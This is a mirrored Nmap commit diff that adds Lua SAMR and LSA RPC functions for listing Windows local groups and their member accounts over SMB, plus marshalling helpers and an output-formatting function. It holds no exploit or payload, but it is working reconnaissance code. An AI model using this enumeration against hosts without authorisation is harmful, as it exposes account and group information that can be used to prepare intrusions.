1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 05:01:29 +00:00

Importing changes from my branch. There are two major updates:

1) I wrote a function that formats output from scripts in a consistent way. Although we haven't really come to a concensus on how it should look yet, it's easy to change when we do. 
2) New script: smb-enum-groups.nse. Enumerate the local groups on a system and their membership.
This commit is contained in:
ron
2009-11-20 16:05:06 +00:00
parent d4756993bd
commit 08da8db7f0
26 changed files with 1599 additions and 1424 deletions

View File

@@ -1326,6 +1326,280 @@ function samr_querydomaininfo2(smbstate, domain_handle, level)
return true, result return true, result
end end
---Call the <code>EnumDomainAliases</code> function, which retrieves a list of groups for a given domain
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_enumdomainaliases(smbstate, domain_handle)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in] policy_handle *domain_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
-- [in,out,ref] uint32 *resume_handle,
arguments = arguments .. msrpctypes.marshall_int32_ptr(nil)
-- [out,ref] samr_SamArray **sam,
-- [in] uint32 max_size, (note: Wireshark says this is flags. Either way..)
arguments = arguments .. msrpctypes.marshall_int32(0x400)
-- [out,ref] uint32 *num_entries
-- Do the call
status, result = call_function(smbstate, 0x0f, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in] policy_handle *domain_handle,
-- [in,out,ref] uint32 *resume_handle,
pos, result['resume_handle'] = msrpctypes.unmarshall_int32(arguments, pos)
-- [out,ref] samr_SamArray **sam,
pos, result['sam'] = msrpctypes.unmarshall_samr_SamArray_ptr(arguments, pos)
-- [in] uint32 max_size,
-- [out,ref] uint32 *num_entries
pos, result['num_entries'] = msrpctypes.unmarshall_int32(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.enumdomainaliases)"
end
if(result['return'] ~= 0) then
return false, smb.get_status_name(result['return']) .. " (samr.enumdomainaliases)"
end
return true, result
end
---Call the <code>EnumDomainAliases</code> function, which retrieves a list of groups for a given domain
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_lookupnames(smbstate, domain_handle, names)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in,ref] policy_handle *domain_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
-- [in,range(0,1000)] uint32 num_names,
arguments = arguments .. msrpctypes.marshall_int32(#names)
-- [in,size_is(1000),length_is(num_names)] lsa_String names[],
arguments = arguments .. msrpctypes.marshall_lsa_String_array2(names)
-- [out,ref] samr_Ids *rids,
-- [out,ref] samr_Ids *types
-- Do the call
status, result = call_function(smbstate, 0x11, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in,ref] policy_handle *domain_handle,
-- [in,range(0,1000)] uint32 num_names,
-- [in,size_is(1000),length_is(num_names)] lsa_String names[],
-- [out,ref] samr_Ids *rids,
pos, result['rids'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
-- [out,ref] samr_Ids *types
pos, result['types'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.lookupnames)"
end
if(result['return'] == smb.status_codes['NT_STATUS_NONE_MAPPED']) then
return false, "Couldn't find any names the host recognized"
end
if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_SOME_NOT_MAPPED']) then
return false, smb.get_status_name(result['return']) .. " (samr.lookupnames)"
end
return true, result
end
---Call the <code>OpenAlias</code> function, which gets a handle to a group.
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@param rid The RID of the alias
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_openalias(smbstate, domain_handle, rid)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in,ref] policy_handle *domain_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
-- [in] samr_AliasAccessMask access_mask,
arguments = arguments .. msrpctypes.marshall_int32(0x0002000c) -- Full read permission
-- [in] uint32 rid,
arguments = arguments .. msrpctypes.marshall_int32(rid)
-- [out,ref] policy_handle *alias_handle
-- Do the call
status, result = call_function(smbstate, 0x1b, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in,ref] policy_handle *domain_handle,
-- [in] samr_AliasAccessMask access_mask,
-- [in] uint32 rid,
-- [out,ref] policy_handle *alias_handle
pos, result['alias_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.openalias)"
end
if(result['return'] ~= 0) then
return false, smb.get_status_name(result['return']) .. " (samr.openalias)"
end
return true, result
end
---Call the <code>GetMembersInAlias</code> function, which retrieves a list of users in
-- a group.
--
--@param smbstate The SMB state table
--@param alias_handle The alias_handle, returned by <code>samr_openalias</code>
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_getmembersinalias(smbstate, alias_handle)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in,ref] policy_handle *alias_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(alias_handle)
-- [out,ref] lsa_SidArray *sids
-- Do the call
status, result = call_function(smbstate, 0x21, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in,ref] policy_handle *alias_handle,
-- [out,ref] lsa_SidArray *sids
pos, result['sids'] = msrpctypes.unmarshall_lsa_SidArray(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.getmembersinalias)"
end
if(result['return'] ~= 0) then
return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
end
return true, result
end
---Call the <code>LookupRids</code> function, which converts a list of RIDs to
-- names.
--
--NOTE: This doesn't appear to work (it generates a fault, despite the packet being properly formatted).
--if you ever feel like you need this function, check out <code>lsa_lookupsids2</code>.
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@param rids An array of RIDs to look up
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
--function samr_lookuprids(smbstate, domain_handle, rids)
-- local i, j
-- local status, result
-- local arguments
-- local pos, align
--
-- arguments = ''
--
---- [in,ref] policy_handle *domain_handle,
-- arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
---- [in,range(0,1000)] uint32 num_rids,
-- arguments = arguments .. msrpctypes.marshall_int32(#rids)
---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
-- arguments = arguments .. msrpctypes.marshall_int32_array(rids)
---- [out,ref] lsa_Strings *names,
---- [out,ref] samr_Ids *types
--
--
-- -- Do the call
-- status, result = call_function(smbstate, 0x12, arguments)
-- if(status ~= true) then
-- return false, result
-- end
--
-- -- Make arguments easier to use
-- arguments = result['arguments']
-- pos = 1
--
---- [in,ref] policy_handle *domain_handle,
---- [in,range(0,1000)] uint32 num_rids,
---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
---- [out,ref] lsa_Strings *names,
---- [out,ref] samr_Ids *types
--
--
-- pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
--stdnse.print_debug("Return = %08x\n", result['return'])
-- if(result['return'] == nil) then
-- return false, "Read off the end of the packet (samr.getmembersinalias)"
-- end
-- if(result['return'] ~= 0) then
-- return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
-- end
--
-- return true, result
--end
---Call the <code>close</code> function, which closes a handle of any type (for example, domain_handle or connect_handle) ---Call the <code>close</code> function, which closes a handle of any type (for example, domain_handle or connect_handle)
--@param smbstate The SMB state table --@param smbstate The SMB state table
--@param handle The handle to close --@param handle The handle to close
@@ -2807,8 +3081,6 @@ end
function samr_enum_users(host) function samr_enum_users(host)
local i, j local i, j
stdnse.print_debug(3, "Entering enum_samr()")
local smbstate local smbstate
local bind_result, connect4_result, enumdomains_result local bind_result, connect4_result, enumdomains_result
local connect_handle local connect_handle
@@ -2929,11 +3201,199 @@ function samr_enum_users(host)
-- Stop the SAMR SMB -- Stop the SAMR SMB
stop_smb(smbstate) stop_smb(smbstate)
stdnse.print_debug(3, "Leaving enum_samr()")
return true, response return true, response
end end
function samr_enum_groups(host)
local i, j
stdnse.print_debug(1, "MSRPC: Attempting to enumerate groups on %s", host.ip)
-- Create the SMB session
local status, smbstate = start_smb(host, SAMR_PATH, true)
if(status == false) then
return false, smbstate
end
-- Bind to SAMR service
local status, bind_result = bind(smbstate, SAMR_UUID, SAMR_VERSION, nil)
if(status == false) then
stop_smb(smbstate)
return false, bind_result
end
-- Call connect4()
local status, connect4_result = samr_connect4(smbstate, host.ip)
if(status == false) then
stop_smb(smbstate)
return false, connect4_result
end
-- Save the connect_handle
local connect_handle = connect4_result['connect_handle']
-- Call EnumDomains()
local status, enumdomains_result = samr_enumdomains(smbstate, connect_handle)
if(status == false) then
stop_smb(smbstate)
return false, enumdomains_result
end
-- If no domains were returned, go back with an error
if(#enumdomains_result['sam']['entries'] == 0) then
stop_smb(smbstate)
return false, "Couldn't find any domains"
end
-- Now, loop through the domains and find the groups
local domains = {}
for _, domain in ipairs(enumdomains_result['sam']['entries']) do
-- Get a handy domain name
domain = domain['name']
domains[domain] = {}
-- Call LookupDomain()
local status, lookupdomain_result = samr_lookupdomain(smbstate, connect_handle, domain)
if(status == false) then
stop_smb(smbstate)
return false, lookupdomain_result
end
-- Save the sid
local domain_sid = lookupdomain_result['sid']
-- Call OpenDomain()
local status, opendomain_result = samr_opendomain(smbstate, connect_handle, domain_sid)
if(status == false) then
stop_smb(smbstate)
return false, opendomain_result
end
-- Save the domain handle
local domain_handle = opendomain_result['domain_handle']
-- Get a list of groups
local status, enumaliases_result = samr_enumdomainaliases(smbstate, domain_handle)
if(status == false) then
stop_smb(smbstate)
return false, "Couldn't enumerate groups: " .. enumaliases_result
end
-- Print some output
stdnse.print_debug(1, "MSRPC: Found %d groups in %s", #enumaliases_result['sam']['entries'], domain)
-- Record the results
local group_rids = {}
for _, group in ipairs(enumaliases_result['sam']['entries']) do
-- The RID
local group_rid = group['idx']
-- Keep a list of just RIDs, for easier lookup after
table.insert(group_rids, group_rid)
-- Save the output, this is what will be returned
domains[domain][group_rid] = {}
domains[domain][group_rid]['name'] = group['name']
end -- Loop over group entries
for _, group_rid in ipairs(group_rids) do
-- Get a handle to the alias
local status, openalias_result = samr_openalias(smbstate, domain_handle, group_rid)
if(not(status)) then
stop_smb(smbstate)
return false, "Couldn't open handle to group: " .. openalias_result
end
local group_handle = openalias_result['alias_handle']
-- Get the members of the group
local status, getmembers_result = samr_getmembersinalias(smbstate, group_handle)
if(not(status)) then
stop_smb(smbstate)
return false, "Couldn't get members in group: " .. getmembers_result
end
-- Save the SIDs
local member_sids = {}
if(getmembers_result and getmembers_result.sids and getmembers_result.sids.sids) then
-- Set the list of member_sids
member_sids = getmembers_result.sids.sids
end
-- Print some output
stdnse.print_debug(1, "MSRPC: Adding group '%s' (RID: %d) with %d members", domains[domain][group_rid]['name'], group_rid, #member_sids)
-- Save the output
domains[domain][group_rid]['member_sids'] = member_sids
-- Close the group
samr_close(smbstate, group_handle)
end -- Loop over group RIDs
-- Close the domain handle
samr_close(smbstate, domain_handle)
end -- Domain loop
-- Close the connect handle
samr_close(smbstate, connect_handle)
-- Stop the SAMR SMB
stop_smb(smbstate)
-- Now, we need a handle to LSA (in order to convert the RIDs to users
-- Create the SMB session
local status, smbstate = start_smb(host, LSA_PATH, true)
if(status == false) then
return false, smbstate
end
-- Bind to LSA service
local status, bind_result = bind(smbstate, LSA_UUID, LSA_VERSION, nil)
if(status == false) then
stop_smb(smbstate)
return false, bind_result
end
-- Open the LSA policy
local status, openpolicy2_result = lsa_openpolicy2(smbstate, host.ip)
if(status == false) then
stop_smb(smbstate)
return false, openpolicy2_result
end
-- Loop through the domains
for domain, domain_data in pairs(domains) do
for group_rid, group in pairs(domain_data) do
-- Look up the SIDs
local status, lookupsids2_result = lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], group['member_sids'])
if(status == false) then
stop_smb(smbstate)
return false, "Error looking up RIDs: " .. lookupsids2_result
end
if(lookupsids2_result and lookupsids2_result.names and lookupsids2_result.names.names and (#lookupsids2_result.names.names > 0)) then
local members = {}
for _, resolved_name in ipairs(lookupsids2_result.names.names) do
if(resolved_name.sid_type == "SID_NAME_USER") then
table.insert(members, resolved_name.name)
end
end
domains[domain][group_rid]['members'] = members
else
domains[domain][group_rid]['members'] = {}
end
end
end
-- Close the handle
lsa_close(smbstate, openpolicy2_result['policy_handle'])
stop_smb(smbstate)
return true, domains
end
---Attempt to enumerate users using LSA functions. ---Attempt to enumerate users using LSA functions.
-- --
--@param host The host object. --@param host The host object.
@@ -2950,8 +3410,6 @@ function lsa_enum_users(host)
local response = {} local response = {}
local status, smbstate, bind_result, openpolicy2_result, lookupnames2_result, lookupsids2_result local status, smbstate, bind_result, openpolicy2_result, lookupnames2_result, lookupsids2_result
stdnse.print_debug(3, "Entering enum_lsa()")
-- Create the SMB session -- Create the SMB session
status, smbstate = start_smb(host, LSA_PATH, true) status, smbstate = start_smb(host, LSA_PATH, true)
if(status == false) then if(status == false) then
@@ -3019,7 +3477,7 @@ function lsa_enum_users(host)
-- Put the details for each name into an array -- Put the details for each name into an array
-- NOTE: Be sure to mirror any changes here in the next bit! -- NOTE: Be sure to mirror any changes here in the next bit!
for j = 1, #lookupsids2_result['names']['names'], 1 do for j = 1, #lookupsids2_result['names']['names'], 1 do
if(lookupsids2_result['names']['names'][j]['sid_type'] ~= "SID_NAME_UNKNOWN") then if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
local result = {} local result = {}
result['name'] = lookupsids2_result['names']['names'][j]['name'] result['name'] = lookupsids2_result['names']['names'][j]['name']
result['rid'] = 500 + j - 1 result['rid'] = 500 + j - 1
@@ -3061,7 +3519,7 @@ function lsa_enum_users(host)
-- Check if the username matches the rid (one server we discovered returned every user as valid, -- Check if the username matches the rid (one server we discovered returned every user as valid,
-- this is to prevent that infinite loop) -- this is to prevent that infinite loop)
if(tonumber(name) ~= rid) then if(tonumber(name) ~= rid) then
if(lookupsids2_result['names']['names'][j]['sid_type'] ~= "SID_NAME_UNKNOWN") then if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
local result = {} local result = {}
result['name'] = name result['name'] = name
result['rid'] = rid result['rid'] = rid
@@ -3096,8 +3554,6 @@ function lsa_enum_users(host)
stop_smb(smbstate) stop_smb(smbstate)
stdnse.print_debug(3, "Leaving enum_lsa()")
return true, response return true, response
end end

View File

@@ -744,6 +744,24 @@ function marshall_int32(int32)
return result return result
end end
---Marshall an array of int32 values.
--
--@param data The array
--@return A string representing the marshalled data
function marshall_int32_array(data)
local result = ""
result = result .. marshall_int32(0x0400) -- Max count
result = result .. marshall_int32(0) -- Offset
result = result .. marshall_int32(#data) -- Actual count
for _, v in ipairs(data) do
result = result .. marshall_int32(v)
end
return result
end
--- Marshall an int16, which has the following format: --- Marshall an int16, which has the following format:
-- <code> [in] uint16 var</code> -- <code> [in] uint16 var</code>
-- --
@@ -816,12 +834,10 @@ end
function unmarshall_int32(data, pos) function unmarshall_int32(data, pos)
local value local value
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_int32()"))
pos, value = bin.unpack("<I", data, pos) pos, value = bin.unpack("<I", data, pos)
if(value == nil) then if(value == nil) then
stdnse.print_debug(1, "MSRPC: ERROR: Ran off the end of a packet in unmarshall_int32(). Please report!") stdnse.print_debug(1, "MSRPC: ERROR: Ran off the end of a packet in unmarshall_int32(). Please report!")
end end
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_int32()"))
return pos, value return pos, value
end end
@@ -1082,6 +1098,38 @@ function unmarshall_int8_array_ptr(data, pos, pad)
return pos, str return pos, str
end end
--- Unmarshall an array of int32s.
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, str) The position, and the resulting string, which cannot be nil.
function unmarshall_int32_array(data, pos, count)
local maxcount
local result = {}
pos, maxcount = unmarshall_int32(data, pos)
for i = 1, count, 1 do
pos, result[i] = unmarshall_int32(data, pos)
end
return pos, result
end
--- Unmarshall a pointer to an array of int32s.
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, str) The position, and the resulting string, which cannot be nil.
function unmarshall_int32_array_ptr(data, pos)
local count, array
pos, count = unmarshall_int32(data, pos)
pos, array = unmarshall_ptr(ALL, data, pos, unmarshall_int32_array, {count})
return pos, array
end
---Marshalls an NTTIME. This is sent as the number of 1/10 microseconds since 1601; however ---Marshalls an NTTIME. This is sent as the number of 1/10 microseconds since 1601; however
-- the internal representation is the number of seconds since 1970. Because doing conversions -- the internal representation is the number of seconds since 1970. Because doing conversions
-- in code is annoying, the user will never have to understand anything besides seconds since -- in code is annoying, the user will never have to understand anything besides seconds since
@@ -1462,7 +1510,6 @@ end
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. --@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_dom_sid2(data, pos) function unmarshall_dom_sid2(data, pos)
local i local i
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_dom_sid2()"))
-- Read the SID from the packet -- Read the SID from the packet
local sid = {} local sid = {}
@@ -1488,7 +1535,6 @@ function unmarshall_dom_sid2(data, pos)
result = result .. string.format("-%u", sid['sub_auths'][i]) result = result .. string.format("-%u", sid['sub_auths'][i])
end end
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_dom_sid2()"))
return pos, result return pos, result
end end
@@ -1499,13 +1545,7 @@ end
--@param pos The position within <code>data</code>. --@param pos The position within <code>data</code>.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. --@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_dom_sid2_ptr(data, pos) function unmarshall_dom_sid2_ptr(data, pos)
local result return unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {})
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_dom_sid2_ptr()"))
pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {})
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_dom_sid2_ptr()"))
return pos, result
end end
---Marshall a struct with the following definition: ---Marshall a struct with the following definition:
@@ -1601,8 +1641,9 @@ end
--@param str The string to marshall --@param str The string to marshall
--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator. --@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator.
-- Defaults to the length of the string, including the null. -- Defaults to the length of the string, including the null.
--@param do_null [optional] Appends a null to the end of the string. Default false.
--@return A string representing the marshalled data. --@return A string representing the marshalled data.
local function marshall_lsa_String_internal(location, str, max_length) local function marshall_lsa_String_internal(location, str, max_length, do_null)
local length local length
local result = "" local result = ""
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_String_internal()")) stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_String_internal()"))
@@ -1622,12 +1663,16 @@ local function marshall_lsa_String_internal(location, str, max_length)
length = string.len(str) length = string.len(str)
end end
if(do_null == nil) then
do_null = false
end
if(location == HEAD or location == ALL) then if(location == HEAD or location == ALL) then
result = result .. bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(HEAD, marshall_unicode, {str, false, max_length}, str)) result = result .. bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(HEAD, marshall_unicode, {str, do_null, max_length}, str))
end end
if(location == BODY or location == ALL) then if(location == BODY or location == ALL) then
result = result .. bin.pack("<A", marshall_ptr(BODY, marshall_unicode, {str, false, max_length}, str)) result = result .. bin.pack("<A", marshall_ptr(BODY, marshall_unicode, {str, do_null, max_length}, str))
end end
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_lsa_String_internal()")) stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_lsa_String_internal()"))
@@ -1706,6 +1751,29 @@ function marshall_lsa_String_array(strings)
return result return result
end end
---Basically the same as <code>marshall_lsa_String_array</code>, except it has a different structure
--
--@param strings The array of strings to marshall
function marshall_lsa_String_array2(strings)
local array = {}
local result
for i = 1, #strings, 1 do
array[i] = {}
array[i]['func'] = marshall_lsa_String_internal
array[i]['args'] = {strings[i], nil, nil, false}
end
result = marshall_int32(1000) -- Max length
result = result .. marshall_int32(0) -- Offset
result = result .. marshall_array(array)
--require 'nsedebug'
--nsedebug.print_hex(result)
--os.exit()
return result
end
---Table of SID types. ---Table of SID types.
local lsa_SidType = local lsa_SidType =
{ {
@@ -1913,7 +1981,6 @@ end
-- anything. -- anything.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. --@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
local function unmarshall_lsa_TranslatedSid2(location, data, pos, result) local function unmarshall_lsa_TranslatedSid2(location, data, pos, result)
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_lsa_TranslatedSid2()"))
if(result == nil) then if(result == nil) then
result = {} result = {}
end end
@@ -1929,7 +1996,6 @@ local function unmarshall_lsa_TranslatedSid2(location, data, pos, result)
if(location == BODY or location == ALL) then if(location == BODY or location == ALL) then
end end
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_lsa_TranslatedSid2()"))
return pos, result return pos, result
end end
@@ -2289,7 +2355,6 @@ end
function marshall_lsa_SidArray(sids) function marshall_lsa_SidArray(sids)
local result = "" local result = ""
local array = {} local array = {}
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_SidArray()"))
result = result .. marshall_int32(#sids) result = result .. marshall_int32(#sids)
@@ -2301,10 +2366,47 @@ function marshall_lsa_SidArray(sids)
result = result .. marshall_ptr(ALL, marshall_array, {array}, array) result = result .. marshall_ptr(ALL, marshall_array, {array}, array)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_lsa_SidArray()"))
return result return result
end end
---Unmarshall a struct with the following definition:
-- typedef struct {
-- dom_sid2 *sid;
-- } lsa_SidPtr;
--
--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
-- referent_id is split from the data (for example, in an array), you will want
-- ALL.
--@param data The data being processed.
--@param pos The position within <code>data</code>.
--@param result This is required when unmarshalling the BODY section, which always comes after
-- unmarshalling the HEAD. It is the result returned for this parameter during the
-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
-- anything.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_lsa_SidPtr(location, data, pos, result)
return unmarshall_ptr(location, data, pos, unmarshall_dom_sid2, {}, result)
end
---Unmarshall a struct with the following definition:
--
-- typedef [public] struct {
-- [range(0,1000)] uint32 num_sids;
-- [size_is(num_sids)] lsa_SidPtr *sids;
-- } lsa_SidArray;
--
--@param data The data being processed.
--@param pos The position within <code>data</code>.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_lsa_SidArray(data, pos)
local sidarray = {}
pos, sidarray['count'] = unmarshall_int32(data, pos)
pos, sidarray['sids'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {sidarray['count'], unmarshall_lsa_SidPtr, {}})
return pos, sidarray
end
---Marshall a struct with the following definition: ---Marshall a struct with the following definition:
-- --
@@ -4140,6 +4242,26 @@ function unmarshall_samr_DomainInfo_ptr(data, pos)
return pos, result return pos, result
end end
---Unmarshall a structure with the following definition:
--
--<code>
-- typedef struct {
-- [range(0,1024)] uint32 count;
-- [size_is(count)] uint32 *ids;
-- } samr_Ids;
--</code>
--
--@param data The data being processed.
--@param pos The position within <code>data</code>.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. May return
-- <code>nil</code> if there was an error.
function unmarshall_samr_Ids(data, pos)
local array
pos, array = unmarshall_int32_array_ptr(data, pos)
return pos, array
end
---------------------------------- ----------------------------------
-- SVCCTL -- SVCCTL
@@ -4490,9 +4612,7 @@ function marshall_atsvc_JobInfo(command, time)
result = result .. marshall_int32(time) -- Job time result = result .. marshall_int32(time) -- Job time
result = result .. marshall_int32(0) -- Day of month result = result .. marshall_int32(0) -- Day of month
result = result .. marshall_int8(0, false) -- Day of week result = result .. marshall_int8(0, false) -- Day of week
--io.write("Length = " .. #result .. "\n")
result = result .. marshall_atsvc_Flags("JOB_NONINTERACTIVE") -- Flags result = result .. marshall_atsvc_Flags("JOB_NONINTERACTIVE") -- Flags
--io.write("Length = " .. #result .. "\n")
result = result .. marshall_int16(0, false) -- Padding result = result .. marshall_int16(0, false) -- Padding
result = result .. marshall_unicode_ptr(command, true) -- Command result = result .. marshall_unicode_ptr(command, true) -- Command

View File

@@ -7,13 +7,16 @@
local assert = assert; local assert = assert;
local error = error; local error = error;
local pairs = pairs local pairs = pairs
local ipairs = ipairs
local tonumber = tonumber; local tonumber = tonumber;
local type = type local type = type
local ceil = math.ceil local ceil = math.ceil
local max = math.max local max = math.max
local format = string.format; local format = string.format;
local rep = string.rep
local concat = table.concat; local concat = table.concat;
local insert = table.insert;
local nmap = require "nmap"; local nmap = require "nmap";
@@ -259,6 +262,148 @@ function string_or_blank(string, blank)
end end
end end
---Get the indentation symbols at a given level.
local function format_get_indent(indent, at_end)
local str = ""
local had_continue = false
if(not(at_end)) then
str = rep('| ', #indent)
else
for i = #indent, 1, -1 do
if(indent[i] and not(had_continue)) then
str = str .. "|_ "
else
had_continue = true
str = str .. "| "
end
end
end
return str
end
---Takes a table of output on the commandline and formats it for display to the
-- user. This is basically done by converting an array of nested tables into a
-- string. In addition to numbered array elements, each table can have a 'name'
-- and a 'warning' value. The 'name' will be displayed above the table, and
-- 'warning' will be displayed, with a 'WARNING' tag, if and only if debugging
-- is enabled.
--
-- Here's an example of a table:
-- <code>
-- local domains = {}
-- domains['name'] = "DOMAINS"
-- table.insert(domains, 'Domain 1')
-- table.insert(domains, 'Domain 2')
--
-- local names = {}
-- names['name'] = "NAMES"
-- names['warning'] = "Not all names could be determined!"
-- table.insert(names, "Name 1")
--
-- local response = {}
-- table.insert(response, "Apple pie")
-- table.insert(response, domains)
-- table.insert(response, names)
--
-- return stdnse.format_output(true, response)
-- </code>
--
-- With debugging enabled, this is the output:
-- <code>
-- Host script results:
-- | smb-enum-domains:
-- | | Apple pie
-- | | DOMAINS
-- | | | Domain 1
-- | | |_ Domain 2
-- | | NAMES (WARNING: Not all names could be determined!)
-- |_ |_ |_ Name 1
-- </code>
--
--@param status A boolean value dictating whether or not the script succeeded.
-- If status is false, and debugging is enabled, 'ERROR' is prepended
-- to every line. If status is false and ebugging is disabled, no output
-- occurs.
--@param data The table of output.
--@param indent Used for indentation on recursive calls; should generally be set to
-- nil when callling from a script.
function format_output(status, data, indent)
-- Don't bother if we don't have any data
if(#data == 0) then
return ""
end
-- Return a single line of output as-is
if(#data == 1 and not(data['name']) and not(data['warning'])) then
return data[1]
end
-- If data is nil, die with an error (I keep doing that by accident)
assert(data, "No data was passed to format_output()")
-- Used to put 'ERROR: ' in front of all lines on error messages
local prefix = ""
-- Initialize the output string to blank (or, if we're at the top, add a newline)
local output = ""
if(not(indent)) then
output = ' \n'
end
if(not(status)) then
if(nmap.debugging() < 1) then
return nil
end
prefix = "ERROR: "
end
-- If a string was passed, turn it into a table
if(type(data) == 'string') then
data = {data}
end
-- Make sure we have an indent value
indent = indent or {}
for i, value in ipairs(data) do
if(type(value) == 'table') then
if(value['name']) then
if(value['warning'] and nmap.debugging() > 0) then
output = output .. format("%s| %s%s (WARNING: %s)\n", format_get_indent(indent), prefix, value['name'], value['warning'])
else
output = output .. format("%s| %s%s\n", format_get_indent(indent), prefix, value['name'])
end
elseif(value['warning'] and nmap.debugging() > 0) then
output = output .. format("%s| %s(WARNING: %s)\n", format_get_indent(indent), prefix, value['warning'])
end
-- Do a shallow copy of indent
local new_indent = {}
for _, v in ipairs(indent) do
insert(new_indent, v)
end
if(i ~= #data) then
insert(new_indent, false)
else
insert(new_indent, true)
end
output = output .. format_output(status, value, new_indent)
elseif(type(value) == 'string') then
if(i ~= #data) then
output = output .. format("%s| %s%s\n", format_get_indent(indent, false), prefix, value)
else
output = output .. format("%s|_ %s%s\n", format_get_indent(indent, true), prefix, value)
end
end
end
return output
end
--- This function allows you to create worker threads that may perform --- This function allows you to create worker threads that may perform
-- network tasks in parallel with your script thread. -- network tasks in parallel with your script thread.
-- --

View File

@@ -35,14 +35,14 @@ and <code>dhcp_parse</code>, with their related functions, can easily be abstrac
-- Interesting ports on 192.168.1.1: -- Interesting ports on 192.168.1.1:
-- PORT STATE SERVICE -- PORT STATE SERVICE
-- 67/udp open dhcps -- 67/udp open dhcps
-- | dhcp-discover: -- | dhcp-discover:
-- | IP Offered: 192.168.1.100 -- | | IP Offered: 192.168.1.101
-- | DHCP Message Type: DHCPOFFER -- | | DHCP Message Type: DHCPOFFER
-- | Server Identifier: 192.168.1.1 -- | | Server Identifier: 192.168.1.1
-- | IP Address Lease Time: 1 day, 0:00:00 -- | | IP Address Lease Time: 1 day, 0:00:00
-- | Subnet Mask: 255.255.255.0 -- | | Subnet Mask: 255.255.255.0
-- | Router: 192.168.1.1 -- | | Router: 192.168.1.1
